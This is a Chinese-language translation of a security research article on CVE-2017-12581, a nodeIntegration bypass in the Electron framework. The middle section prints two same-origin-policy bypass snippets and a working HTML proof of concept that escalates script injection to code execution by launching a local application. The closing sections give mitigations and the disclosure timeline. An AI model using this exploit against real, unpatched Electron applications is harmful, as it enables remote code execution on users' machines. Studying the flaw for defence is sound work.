译者:WisFree
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
长话短说
在近期举办于美国拉斯维加斯的2017年BlackHat黑客大会上,安全公司Doyensec的联合创始人Luca Carettoni向全世界公布了他们针对Electron产品安全性的最新研究报告。在对Electron框架的安全模型进行了简单描述之后,我们披露了Electron框架的设计缺陷以及安全漏洞。值得注意的是,恶意攻击者将可以利用这些安全问题来入侵任何一个基于Electron框架开发的应用程序。
除此之外,我们还讨论了一种绕过技术,当设备呈现了不受信任的内容时(例如通过跨站脚本漏洞显示恶意脚本内容),即便是部署了框架层的安全保护措施,我们仍然可以利用这项技术实现可靠的远程代码执行(RCE)。
在这篇文章中,我们将会给大家详细介绍漏洞CVE-2017-12581以及相应的安全修复方案。
Electron到底是什么?
虽然你可能不知道Electron是什么东西,但是你可能已经在使用Electron了,只不过是你自己不知道而已。因为Electron目前已经运行在数百万台计算机之中了,而且Slack、Atom、Visual Studio Code、Wordpress Desktop、Github Desktop、Basecamp3和Mattermost等应用程序目前都是采用这款名叫Electron的框架构建的。当某个传统的Web应用程序需要转移到桌面端时,开发人员一般都会使用Electron框架。
简单来说,Electron可以让你使用纯 JavaScript 调用丰富的原生 APIs 来创造桌面应用程序。你可以把它看作是一个专注于桌面应用的Node.js变体,而不是 web 服务器。但是这不意味着 Electron 是绑定了 GUI 库的 JavaScript,相反,Electron使用了web页面来作为它的 GUI,所以你能把它看作成一个受JavaScript控制的精简版Chromium浏览器。
资源链接
了解nodeIntegration标记
虽然Electron是基于Chromium的内容模块实现的,但是从本质上来说它就不是一个浏览器。它可以给开发人员提供非常强大的功能,而且Electron的灵活性也可以有助于构建复杂的桌面应用程序。实际上,幸亏Electron整合了Node.js,所以JavaScript才可以直接访问操作系统原语并完全利用原生的桌面机制。
其实对信息安全方面有所了解的开发人员都知道,在整合了Node.js的应用中直接呈现不受信任的远程/本地内容是非常危险的。正是出于这一方面的考虑,Electron框架提供了两种不同的机制来帮助应用程序在“沙盒环境”中呈现不受信任的资源:
BrowserWindow:
mainWindow = new BrowserWindow({
"webPreferences": {
"nodeIntegration" : false,
"nodeIntegrationInWorker" : false
}
});
mainWindow.loadURL('https://www.doyensec.com/');
WebView:
<webview src="https://www.doyensec.com/"></webview>
在上面的例子中,nodeIntegration标记被设置为了‘false’。这样一来,即便是应用程序的当前页面进程中运行了Node.js引擎,页面中的JavaScript代码也无法直接访问全局引用。
我们得想办法绕过nodeIntegration设置
现在你应该知道为什么nodeIntegration会是Electron框架中一个非常关键的安全相关配置了吧?在这种运行机制下,任何一个安全漏洞都将有可能允许攻击者通过呈现一个简单的不受信任的Web页面来完全入侵目标主机/服务器。
不过在这篇文章中,我们将使用这种类型的安全漏洞将传统的XSS(跨站脚本漏洞)转换成RCE(远程代码执行漏洞)。由于所有的Electron应用程序都采用了这类框架代码(相同机制),考虑到几乎整个Electron生态系统(包括所有采用Electron框架开发的应用程序)都存在这些安全问题,因此想要修复这些问题想必是非常困难的了。
在我们的研究过程中,我们对整个Electron项目的代码进行了详细的分析,并且遇到了六个(v1.6.1及其之前版本)与我们的绕过技术有关的问题,接下来,我们要想办法寻找并利用其中的漏洞。
通过对Electron项目的官方文档进行了研究和学习之后,我们迅速发现了Electron的JavaScript API在标准浏览器中所引起的异常。当一个新的浏览器窗口被成功创建之后,Electron会返回一个BrowserWindowProxy实例。这个类可以用来操作/修改浏览器的子窗口,从而破坏站点所部属的同源策略(SOP)。
同源策略绕过 #1:
<script>
const win = window.open("https://www.doyensec.com");
win.location = "javascript:alert(document.domain)";
</script>
同源策略绕过 #2:
<script>
const win = window.open("https://www.doyensec.com");
win.eval("alert(document.domain)");
</script>
其中,同源策略绕过 #2中所使用的eval()机制可以参考下面给出的图表:
在对其他源代码进行了审查之后,我们发现了特权URL(类似于浏览器的特权空间)的存在。配合我们所设计的同源策略绕过技术以及lib/renderer/init.js中定义的特权url,我们就可以重写nodeIntegration设置了。
下面给出的是一个简单有效的nodeIntegration绕过PoC,v1.6.7版本之前的Electron都会受到该问题的影响:
<!DOCTYPE html>
<html>
<head>
<title>nodeIntegration bypass (SOP2RCE)</title>
</head>
<body>
<script>
document.write("Current location:" + window.location.href + "<br>");
const win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');
shell.openExternal('file:///Applications/Calculator.app');");
</script>
</body>
</html>
如何缓解nodeIntegration绕过漏洞?
1.保证应用程序所使用的是最新版本的Electron框架:在发布自己的Electron产品时,意味着你将捆绑着Electron、Chromium共享库以及Node.js一起发布出去,而影响这些组件的安全漏洞同样会影响你应用程序的安全性。通过将Electron框架升级至最新版本,你可以确保严重的安全漏洞(例如本文所描述的nodeIntegration绕过漏洞)已经得到了修复,并且攻击者已经无法利用这些漏洞来攻击你的应用程序了。
2.采用安全编码实践规范:这是保证你的应用程序和代码安全性的第一道防线。类似跨站脚本漏洞(XSS)这样的常见Web漏洞将会严重影响Electron应用的安全性,因此我们建议各位开发人员在进行Electron产品开发时,采用最佳的安全编码实践方式,并定期对代码进行安全测试。
3.了解你所使用的框架及其限制:现代浏览器所采用的特定规则以及安全机制并不意味着同样适用于Electron(例如同源策略),因此我们建议采用纵深防御机制来弥补Electron框架的这些缺陷。如果你对这部分内容感兴趣的话,可以参考我们关于Electron应用安全性的研究报告或白皮书。
4.使用最新的“沙盒”实验环境功能:即便是我们禁用了nodeIntegration设置,目前的Electron实现并不会完全消除由加载不受信任资源所带来的安全隐患。因此我们建议启用“沙盒环境”(利用的是原生Chromium沙盒)来查看不受信任的资源,而且这种方法还可以给应用提供额外的隔离环境。
总结
我们在2017年5月10日通过电子邮件的形式将该问题报告给了Electron项目的维护人员。大概过了一个小时之后,我们收到了他们的回复,他们表示相关人员已经在着手修复这个问题了,因为在我们报告该漏洞的几天之前,他们在一次内部安全审查活动中已经发现了类似的问题。实际上,当时官方发布的最新版本就是v1.6.7,但是根据git commit的信息,特权URL的问题已经在2017年4月24日修复了。
本文所描述的问题在v1.6.8版本中全部得到了修复,该版本大约在5月15日左右正式发布了。由于该版本之前的所有Electron版本都会受到这些安全问题的影响,因此基于这些Electron版本所开发的应用程序同样会存在安全问题,因此我们建议广大开发人员尽快将自己的应用程序所使用的Electron版本升级至最新版本(v1.6.8)。